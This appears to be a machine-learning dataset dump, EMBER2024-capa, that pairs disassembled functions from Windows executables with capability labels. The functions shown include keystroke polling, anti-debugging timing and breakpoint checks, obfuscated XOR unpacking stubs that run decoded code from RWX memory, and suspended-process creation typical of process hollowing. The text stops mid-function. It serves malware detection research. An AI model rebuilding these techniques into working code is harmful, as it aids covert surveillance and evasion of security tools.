joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4b3b44
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov edi, edx
mov ebp, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.00462d8c
mov ebx, eax
mov dx, word [edi + 4]
mov eax, ebp
call fcn.004b39f0
mov esi, eax
test esi, esi
je 0x4b3b91
mov al, byte [0x4b3ba4]
cmp al, bl
jne 0x4b3b91
mov edx, esi
mov eax, ebp
call fcn.004b3998
mov dword [edi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x4b3b99
mov edx, edi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4b6be0
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.00409690
add esp, 0x3ec
pop ebx
ret

Function at 0x4b7fac
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
call fcn.0045dc9c
mov edi, eax
dec edi
test edi, edi
jl 0x4b805f
inc edi
xor esi, esi
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045dcac
mov eax, dword [eax + 0xc]
sub eax, 1
jb 0x4b7ff6
je 0x4b8017
dec eax
je 0x4b8038
jmp 0x4b8057
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045dcac
cmp byte [ebx + 0x15c], 0
setne dl
call fcn.0045dbc8
jmp 0x4b8057
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045dcac
cmp byte [ebx + 0x15c], 1
setne dl
call fcn.0045dbc8
jmp 0x4b8057
mov eax, dword [ebx + 0xec]
mov eax, dword [eax + 0x34]
mov edx, esi
call fcn.0045dcac
cmp byte [ebx + 0x15c], 2
setne dl
call fcn.0045dbc8
inc esi
dec edi
jne 0x4b7fd7
call sub.kernel32.dll_GetTickCount_1
sub eax, dword [ebx + 0x88]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x8c]
cdq
cmp edx, dword [esp + 4]
jne 0x4b8084
cmp eax, dword [esp]
pop edx
pop eax
jae 0x4b80e5
jmp 0x4b8088
pop edx
pop eax
jge 0x4b80e5
mov esi, 2
call sub.kernel32.dll_GetTickCount_1
mov dword [ebx + 0x88], eax
mov eax, dword [ebx + 0x130]
test byte [eax + 0x50], 2
je 0x4b80c1
cmp byte [ebx + 0x159], 2
je 0x4b80c1
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov eax, dword [ebx + 0xec]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x4b8101
push 0
mov eax, dword [ebx + 0x124]
push eax
push 0
mov eax, dword [esp + 0x10]
push eax
mov eax, dword [esp + 0x10]
push eax
push esi
mov eax, dword [ebx + 0xfc]
push eax
call sub.user32.dll_TrackPopupMenu
jmp 0x4b8101
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.00435dcc
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x124]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x4c12a8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4c13f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov byte [eax + 0x88], 1
mov eax, dword [ebp - 4]
test byte [eax + 0x1c], 0x10
jne 0x4c13d7
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 8]
lea eax, [ebp - 0x10d]
call fcn.00409690
mov dl, 1
mov eax, dword [0x4a6d88]
call fcn.004a6de0
mov edx, dword [ebp - 4]
mov dword [edx + 0x80], eax
mov dl, 1
mov eax, dword [0x41b75c]
call fcn.00403440
mov edx, dword [ebp - 4]
mov dword [edx + 0x40], eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x84]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
call fcn.004a6e5c
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4c13d4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x40]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
mov edx, 0x4c1408
call fcn.004a71a8
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
call fcn.004045ac
xor eax, eax
push ebp
push 0x4c13cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
mov edx, dword [ebp - 0xc]
call fcn.0041ff40
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004c1410
mov eax, dword [ebp - 0xc]
call fcn.004092a8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c13d4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x80]
call fcn.00403470
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x40]
call fcn.00403470
ret
mov bl, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c13f9
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004042c4
ret

Function at 0x4cd398
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4cd3c6
mov eax, ebx
call fcn.004cde4c
cmp dword [ebx + 0x40], 0
je 0x4cd3bf
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x4cd437
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x4cd429
cmp dword [ebx + 8], 0
je 0x4cd3e8
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x4cd3fa
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x4cd429
cmp dword [ebx + 8], 0
je 0x4cd3db
cmp eax, 3
je 0x4cd40d
dec eax
jne 0x4cd3db
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x4cd3db
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x4cd3db
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x4cd455
cmp dword [ebx + 0x14], 0xcc
je 0x4cd455
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.004cd460
pop ebx
ret
Function at 0x4de330
Capabilities:
Encrypt data using des

Disassembly:
push ebx
mov ecx, edx
and cl, 0x20
mov ebx, edx
and bl, 0x1e
and ebx, 0xff
shr ebx, 1
or cl, bl
and dl, 1
shl edx, 4
or cl, dl
mov edx, ecx
and edx, 0xff
and eax, 0xff
shl eax, 3
lea eax, [eax*8 + 0x4e85d0]
mov al, byte [eax + edx]
and al, 0xf
pop ebx
ret

Function at 0x4de36c
Capabilities:
Encrypt data using des

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, edx
test ebx, ebx
js 0x4de384
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x4de37d
mov eax, esp
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, 7
call fcn.00402dfc
xor edx, edx
mov eax, 0x4e87d0
mov bl, byte [eax]
mov ecx, ebx
and cl, 7
and ecx, 0xff
push ecx
mov ecx, 7
pop esi
sub ecx, esi
mov esi, 1
shl esi, cl
xor ecx, ecx
mov cl, bl
shr ecx, 3
mov ebx, dword [ebp - 4]
movzx ecx, byte [ebx + ecx]
and esi, ecx
je 0x4de3ee
mov ecx, edx
and ecx, 7
push ecx
mov ecx, 7
pop ebx
sub ecx, ebx
mov bl, 1
shl bl, cl
mov ecx, edx
shr ecx, 3
mov esi, dword [ebp - 8]
or byte [esi + ecx], bl
inc edx
inc eax
cmp edx, 0x38
jne 0x4de3a2
mov esi, dword [ebp - 0x10]
mov ebx, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x4de62c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov ebx, dword [ebp + 0x10]
test ebx, ebx
js 0x4de645
shr ebx, 2
mov esi, dword [ecx + ebx*4]
dec ebx
push esi
jns 0x4de63e
mov ecx, esp
mov ebx, edx
test ebx, ebx
js 0x4de657
shr ebx, 2
mov esi, dword [eax + ebx*4]
dec ebx
push esi
jns 0x4de650
mov eax, esp
mov dword [ebp - 4], ecx
push 5
lea ecx, [ebp - 0xa]
call fcn.004de220
mov ebx, 6
mov eax, dword [ebp - 4]
lea edx, [ebp - 0xa]
mov cl, byte [eax]
xor byte [edx], cl
inc edx
inc eax
dec ebx
jne 0x4de671
mov al, byte [ebp - 0xa]
xor edx, edx
mov dl, al
shr edx, 2
mov byte [ebp - 0x12], dl
and al, 3
shl eax, 4
mov dl, byte [ebp - 9]
xor ecx, ecx
mov cl, dl
shr ecx, 4
or al, cl
mov byte [ebp - 0x11], al
and dl, 0xf
shl edx, 2
mov al, byte [ebp - 8]
xor ecx, ecx
mov cl, al
shr ecx, 6
or dl, cl
mov byte [ebp - 0x10], dl
and al, 0x3f
mov byte [ebp - 0xf], al
mov al, byte [ebp - 7]
xor edx, edx
mov dl, al
shr edx, 2
mov byte [ebp - 0xe], dl
and al, 3
shl eax, 4
xor edx, edx
mov dl, byte [ebp - 6]
shr edx, 4
or al, dl
mov byte [ebp - 0xd], al
mov al, byte [ebp - 6]
and al, 0xf
shl eax, 2
xor edx, edx
mov dl, byte [ebp - 5]
shr edx, 6
or al, dl
mov byte [ebp - 0xc], al
mov al, byte [ebp - 5]
and al, 0x3f
mov byte [ebp - 0xb], al
xor ebx, ebx
lea esi, [ebp - 0x12]
mov eax, ebx
mov dl, byte [esi]
call fcn.004de330
mov byte [esi], al
inc ebx
inc esi
cmp ebx, 8
jne 0x4de6f6
mov ebx, 4
lea eax, [ebp - 0x12]
lea edx, [ebp - 0xa]
mov cl, byte [eax]
shl ecx, 4
or cl, byte [eax + 1]
mov byte [edx], cl
inc edx
add eax, 2
dec ebx
jne 0x4de713
lea eax, [ebp - 0xa]
mov edx, 5
call fcn.004de2b0
mov ebx, 4
lea eax, [ebp - 0xa]
mov edx, dword [ebp + 0xc]
mov cl, byte [eax]
mov byte [edx], cl
inc edx
inc eax
dec ebx
jne 0x4de73c
mov esi, dword [ebp - 0x1c]
mov ebx, dword [ebp - 0x18]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4de754
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov ebx, ecx
test ebx, ebx
js 0x4de76d
shr ebx, 2
mov esi, dword [edx + ebx*4]
dec ebx
push esi
jns 0x4de766
mov edx, esp
mov dword [ebp - 4], edx
mov ebx, eax
mov dword [ebp - 8], 8
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax]
mov byte [ecx], dl
inc ecx
inc eax
dec dword [ebp - 8]
jne 0x4de781
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.004de118
test bl, bl
jne 0x4de854
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x14], 0x4e9e4c
mov eax, 4
mov edx, dword [ebp + 0xc]
lea esi, [ebp - 0xc]
mov cl, byte [edx]
mov byte [esi], cl
inc esi
inc edx
dec eax
jne 0x4de7b8
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
mov cl, byte [edx]
mov byte [edx - 4], cl
inc edx
dec eax
jne 0x4de7cc
push 5
lea eax, [ebp - 0x10]
push eax
push 3
mov eax, dword [ebp - 0x14]
mov ecx, eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.004de62c
mov eax, 4
lea edx, [ebp - 0xc]
lea esi, [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
add ecx, 4
mov bl, byte [edx]
xor bl, byte [esi]
mov byte [ecx], bl
inc ecx
inc esi
inc edx
dec eax
jne 0x4de7fe
add dword [ebp - 0x14], 6
dec dword [ebp - 8]
jne 0x4de7ad
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
lea ecx, [ebp - 0xc]
mov bl, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
dec eax
jne 0x4de821
mov eax, 4
mov edx, dword [ebp + 0xc]
mov cl, byte [edx]
mov byte [edx + 4], cl
inc edx
dec eax
jne 0x4de832
mov eax, 4
lea edx, [ebp - 0xc]
mov ecx, dword [ebp + 0xc]
mov bl, byte [edx]
mov byte [ecx], bl
inc ecx
inc edx
dec eax
jne 0x4de846
jmp 0x4de90f
cmp bl, 1
jne 0x4de90f
mov dword [ebp - 8], 0xfffffff0
mov ebx, 0x4e9ea6
mov eax, 4
mov edx, dword [ebp + 0xc]
lea esi, [ebp - 0xc]
mov cl, byte [edx]
mov byte [esi], cl
inc esi
inc edx
dec eax
jne 0x4de874
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
mov cl, byte [edx]
mov byte [edx - 4], cl
inc edx
dec eax
jne 0x4de888
push 5
lea eax, [ebp - 0x10]
push eax
push 3
mov ecx, ebx
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.004de62c
mov eax, 4
lea edx, [ebp - 0xc]
lea esi, [ebp - 0x10]
mov ecx, dword [ebp + 0xc]
add ecx, 4
mov dword [ebp - 0x18], ecx
mov cl, byte [edx]
xor cl, byte [esi]
mov edi, dword [ebp - 0x18]
mov byte [edi], cl
inc dword [ebp - 0x18]
inc esi
inc edx
dec eax
jne 0x4de8ba
sub ebx, 6
inc dword [ebp - 8]
jne 0x4de869
mov eax, 4
mov edx, dword [ebp + 0xc]
add edx, 4
lea ebx, [ebp - 0xc]
mov cl, byte [edx]
mov byte [ebx], cl
inc ebx
inc edx
dec eax
jne 0x4de8e1
mov eax, 4
mov ebx, dword [ebp + 0xc]
mov dl, byte [ebx]
mov byte [ebx + 4], dl
inc ebx
dec eax
jne 0x4de8f2
mov eax, 4
lea ebx, [ebp - 0xc]
mov edx, dword [ebp + 0xc]
mov cl, byte [ebx]
mov byte [edx], cl
inc edx
inc ebx
dec eax
jne 0x4de906
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
call fcn.004de19c
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret 8
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406037
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x406046
pop dword [ebp - 0x3c]
mov eax, 0xc9896822
sub eax, 0xc94907dc
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0xda05504b
add dword [ebp - 0x4c], 0x744cf500
mov dword [ebp - 0x48], 0x1eb9174b
sub dword [ebp - 0x48], 0xec85cb06
mov dword [ebp - 0x44], 0xf5d9b7a9
sub dword [ebp - 0x44], 0xa98d737b
mov dword [ebp - 0x40], 0x6bc1ee51
sub dword [ebp - 0x40], 0x6bc1ee51
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x63a99a27
sub eax, 0x6368c9d3
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x6c46b187
sub dword [ebp - 0x4c], 0xf7d44831
mov dword [ebp - 0x48], 0x46bdefa2
add dword [ebp - 0x48], 0xfaae71d3
mov dword [ebp - 0x44], 0x735782b7
sub dword [ebp - 0x44], 0xfe8164b
mov dword [ebp - 0x40], 0xc9e8328
add dword [ebp - 0x40], 0xf3617cd8
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x39bcb
push 0
call eax
mov ecx, 0x48a3
mov esi, eax
mov edi, 0x1ad05212
add edi, 0xe5715dee
add edi, dword [ebp - 0x3c]
mov edx, 0x99d36ffd
sub edx, 0x4816a77d
xor dword [ebp - 0x10], eax
mov ebx, dword [edi]
add dword [ebp - 0xc], edx
sub ebx, edx
sub dword [ebp - 8], 0x55504e4e
mov dword [esi], ebx
xor dword [ebp - 0xc], esi
add esi, 0xb2df23f8
sub esi, 0xb2df23f4
add edi, 0x99809902
add edi, 0x667f6702
loop 0x40615d
add eax, 0x1155f
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x401bd7
pop dword [ebp - 0x24]
mov eax, 0x4ab6aad4
sub eax, 0x4a768efd
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xcd6cdf5e
sub dword [ebp - 0x34], 0x7f1a9a13
mov dword [ebp - 0x30], 0xaa941c4a
add dword [ebp - 0x30], 0x879f2ffb
mov dword [ebp - 0x2c], 0xb3e7b851
sub dword [ebp - 0x2c], 0x679b7423
mov dword [ebp - 0x28], 0x2681d8d
sub dword [ebp - 0x28], 0x2681d8d
lea eax, [ebp - 0x34]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xb539b660
add dword [ebp - 0x34], 0xbf38b2f6
mov dword [ebp - 0x30], 0x23c89b59
add dword [ebp - 0x30], 0x1da3c61c
mov dword [ebp - 0x2c], 0x1f922430
sub dword [ebp - 0x2c], 0xbc22b7c4
mov dword [ebp - 0x28], 0x33f9cb01
sub dword [ebp - 0x28], 0x33f9cb01
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3e403
push 0
call eax
mov ecx, 0xef92185a
sub ecx, 0xef91b1a6
xor edx, edx
add edx, eax
mov edi, 0x410000
add edi, dword [ebp - 0x24]
mov esi, 0xdd644e09
xor dword [ebp - 8], esi
mov ebx, dword [edi]
add dword [ebp - 0xc], 0xaced6e0e
add ebx, esi
mov dword [ebp - 0x1c], 0xb5dfb017
mov dword [edx], ebx
add dword [ebp - 0xc], ecx
add edx, 0x1c7d4f23
add edx, 0xe382b0e1
add edi, 4
loop 0x401ce5
add eax, 0x18da3
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x6a5b185a
sub ecx, 0x6a1b185a
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x6d3529cf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x6d3529de
pop dword [ebp - 0x44]
mov eax, 0x9582ab8b
sub eax, 0x284d81ad
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0x5d198ead
sub dword [ebp - 0x54], 0xec74962
mov dword [ebp - 0x50], 0xb76d329e
sub dword [ebp - 0x50], 0x8539e659
mov dword [ebp - 0x4c], 0x5e28f2d2
add dword [ebp - 0x4c], 0xee23515c
mov dword [ebp - 0x48], 0xf5e603ad
add dword [ebp - 0x48], 0xa19fc53
lea eax, [ebp - 0x54]
push eax
mov eax, 0x2e62ce59
add eax, 0x3ed2c1f7
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x4bb6563e
sub dword [ebp - 0x54], 0xd743ece8
mov dword [ebp - 0x50], 0x7fbb13d5
add dword [ebp - 0x50], 0xc1b14da0
mov dword [ebp - 0x4c], 0x818b2ce0
sub dword [ebp - 0x4c], 0x1e1bc074
mov dword [ebp - 0x48], 0x64a3b7fe
add dword [ebp - 0x48], 0x9b5c4802
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x37003
push 0
call eax
mov ecx, 0x4afc5141
add ecx, 0xb503f66d
xor esi, esi
add esi, eax
mov edi, 0xdaf72658
sub edi, 0x6dc13e58
add edi, dword [ebp - 0x44]
mov ebx, 0xcde86144
sub ebx, 0xdbdd98c1
mov dword [ebp - 0xc], 0x40f531d4
mov edx, dword [edi]
sub dword [ebp - 0x38], ebx
xor edx, ebx
sub dword [ebp - 0x40], eax
mov dword [esi], edx
add dword [ebp - 0x18], 0xfd69789f
add esi, 0x236f112
sub esi, 0x236f10e
add edi, 0x4e0ba71a
add edi, 0xb1f458ea
loop 0x6d352afd
add eax, 0xf9b2d60
sub eax, 0xf9a1bd5
xor ebx, ebx
add ebx, eax
add eax, 0xf8f21fdd
add eax, 0x70de028
mov ecx, 0x6d350000
add ecx, dword [ebp - 0x44]
call ebx
leave
ret

Function at 0x6d3578c4
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x6d3578ce
repz ret
jmp fcn.6d357caf
Function at 0x1000652a
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x170
push edi
mov dword [ebp - 0x148], 0
mov ecx, 0x10
xor eax, eax
lea edi, [ebp - 0x144]
rep stosd dword es:[edi], eax
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0x104]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0x148]
push edx
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x10006659
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0x10007
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
mov dword [ebp - 0x154], eax
lea ecx, [ebp - 0x150]
push ecx
push 4
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp - 0x154]
add eax, 8
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
mov dword [ebp - 0x14c], ecx
push 0x1c
lea edx, [ebp - 0x170]
push edx
mov eax, dword [ebp - 0x14c]
push eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x10006641
cmp dword [ebp - 0x160], 0x10000
jne 0x1000662d
jmp 0x10006641
mov eax, dword [ebp - 0x14c]
add eax, dword [ebp - 0x164]
mov dword [ebp - 0x14c], eax
jmp 0x100065ff
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x14c]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x10]
mov dword [eax + 4], edx
mov eax, 1
jmp 0x1000665b
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x1000a350
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x1000a3a9
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1000a3a9
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x1000a39a
cmp esi, edx
jae 0x1000a3a9
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x1000a388
cmp esi, edx
jae 0x1000a3a9
cmp word [esi], 0
je 0x1000a3a9
mov eax, esi
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10011730
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100e9531
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push ebx
push esi
push edi
mov eax, dword [0x10130fc4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], 0
mov edi, dword [ebp + 8]
mov dword [edi + 0x18], 0xf
lea ecx, [edi + 4]
mov byte [edi + 4], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0xf
mov byte [edi + 0x1c], 0
mov dword [edi], 0
cmp dword [edi + 0x18], 0x10
mov dword [edi + 0x14], 0
jb 0x1001179a
mov ecx, dword [edi + 4]
mov byte [ecx], 0
mov ebx, dword [ebp + 0xc]
mov ecx, esi
push ebx
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
call fcn.1008c4c0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1001182a
cmp eax, 8
je 0x100117cb
cmp eax, 7
jne 0x100118fa
sub esp, 0x18
lea eax, [esi + 0x20048]
mov ecx, esp
push eax
call fcn.10007b10
mov eax, dword [esi]
mov ecx, esi
mov eax, dword [eax + 4]
call eax
test al, al
je 0x100118fa
push ebx
mov ecx, esi
call fcn.1008c4c0
mov eax, dword [esi + 0xc]
test eax, eax
je 0x1001182a
sub esp, 0x18
mov ecx, esp
push 0x14
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
push str.rpc_client_send_fail
mov byte [ecx], 0
call fcn.1000b050
mov ecx, esi
call fcn.1008cc80
jmp 0x100118fa
xorps xmm0, xmm0
mov dword [ebp - 0x24], 1
movups xmmword [ebp - 0x20], xmm0
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 1
push eax
mov ecx, esi
call fcn.1008c2a0
cmp dword [esi + 0xc], 0
je 0x1001185d
lea ecx, [ebp - 0x24]
call fcn.10008e50
jmp 0x100118fa
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x20]
sub eax, ecx
test eax, eax
jle 0x100118cd
push 4
call fcn.100a20bd
mov ecx, dword [ebp - 0x1c]
mov ebx, eax
mov eax, dword [ebp - 0x20]
add esp, 4
mov edx, dword [ebp - 0x14]
sub ecx, eax
cmp edx, ecx
jae 0x100118a4
mov ecx, dword [edx + eax]
mov dword [ebx], ecx
add dword [ebp - 0x14], 4
cmp dword [ebp - 0x24], 0
jne 0x100118a0
lea eax, [ebx + 4]
push eax
push ebx
call fcn.10069bc2
add esp, 8
mov eax, dword [ebx]
mov dword [edi], eax
push ebx
call fcn.100a20c6
add esp, 4
lea eax, [edi + 4]
lea ecx, [ebp - 0x24]
push eax
call fcn.100058f0
cmp dword [edi], 0
jne 0x100118ca
lea eax, [edi + 0x1c]
push eax
lea ecx, [ebp - 0x24]
call fcn.100058f0
mov ecx, dword [ebp - 0x20]
test ecx, ecx
je 0x100118fa
mov edx, dword [ebp - 0x18]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
